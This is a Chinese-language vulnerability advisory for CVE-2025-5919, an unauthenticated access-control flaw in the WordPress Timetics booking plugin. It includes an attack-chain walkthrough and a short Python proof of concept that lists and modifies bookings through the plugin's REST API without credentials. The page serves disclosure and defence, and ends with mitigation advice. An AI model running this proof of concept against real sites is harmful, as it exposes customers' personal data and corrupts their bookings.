IPBUF安全漏洞报告
English
CVE-2025-5919 CVSS 6.5 中危

CVE-2025-5919 WordPress Timetics插件未授权访问漏洞

披露日期: 2026-01-06

漏洞信息

漏洞编号
CVE-2025-5919
漏洞类型
Broken Access Control (失效的访问控制)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WordPress Timetics插件 (Appointment Booking and Scheduling Calendar Plugin – WP Timetics)

相关标签

WordPressTimeticsBroken Access ControlMissing AuthorizationAPI SecurityUnauthenticated AccessCVE-2025-5919

漏洞概述

WordPress Timetics插件是一款流行的预约预订和日程管理插件。该插件在1.0.36及之前的所有版本中存在严重的访问控制缺陷。具体而言,update和register_routes函数缺少WordPress能力检查(capability check),导致任何未认证的远程攻击者都可以通过API端点访问并修改预约预订数据。这是一个典型的失效访问控制(OWASP Top 10 2021中的A01分类)漏洞,CVSS评分6.5,属于中等严重程度。攻击者无需任何凭据即可查看和篡改系统中存储的预约信息,可能导致用户隐私数据泄露、预约记录被恶意修改等安全问题。

技术细节

漏洞根源在于Timetics插件的API路由注册和更新功能未实施适当的权限验证。具体问题点:1) register_routes函数在注册REST API路由时未检查用户权限;2) update函数在处理预约数据更新请求时缺少current_user_can()或similar capability验证。在WordPress中,REST API默认允许任何未认证用户访问公开端点,除非开发者明确添加权限回调。攻击者只需构造恶意HTTP请求到相关API端点(如/wp-json/timetics/v1/bookings等),即可绕过认证机制直接操作数据库中的预约记录。攻击流程:发送未经认证的GET请求可遍历所有预约数据;发送POST/PUT请求可修改任意预约状态。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站使用的WordPress版本及Timetics插件版本,通过Wappalyzer或查看页面源码确认插件存在
STEP 2
步骤2: API端点发现
攻击者探测/wp-json/timetics/v1/下的API端点,识别可用的路由如/bookings、/update等
STEP 3
步骤3: 未授权数据枚举
直接发送GET请求到booking列表端点,无需任何认证令牌即可获取所有预约记录,包含用户敏感信息
STEP 4
步骤4: 数据篡改
构造POST/PUT请求修改预约状态或内容,由于缺少capability检查,修改操作被服务器执行
STEP 5
步骤5: 持久化控制
攻击者可能通过修改预约数据植入恶意内容或破坏业务逻辑,造成数据泄露或服务中断

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target WordPress site with vulnerable Timetics plugin target = "http://target-wordpress-site.com" # 1. Unauthenticated enumeration of bookings print("[*] Enumerating bookings without authentication...") response = requests.get(f"{target}/wp-json/timetics/v1/bookings") if response.status_code == 200: bookings = response.json() print(f"[+] Found {len(bookings)} bookings:") for booking in bookings: print(f" - Booking ID: {booking.get('id')}, Customer: {booking.get('customer_name')}") # 2. Update booking details without authentication print("\n[*] Attempting to modify booking...") malicious_data = { "id": 1, "status": "cancelled", "notes": "Modified by unauthorized attacker" } update_response = requests.post( f"{target}/wp-json/timetics/v1/bookings/update", json=malicious_data ) if update_response.status_code in [200, 201]: print("[+] Booking successfully modified without authentication!") else: print(f"[-] Update failed with status: {update_response.status_code}")

影响范围

Timetics插件所有版本 <= 1.0.36

防御指南

临时缓解措施
如果无法立即升级,可临时通过Web应用防火墙(WAF)规则阻止对/wp-json/timetics/路径的未认证访问,或使用WordPress安全插件限制REST API的公开访问范围。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表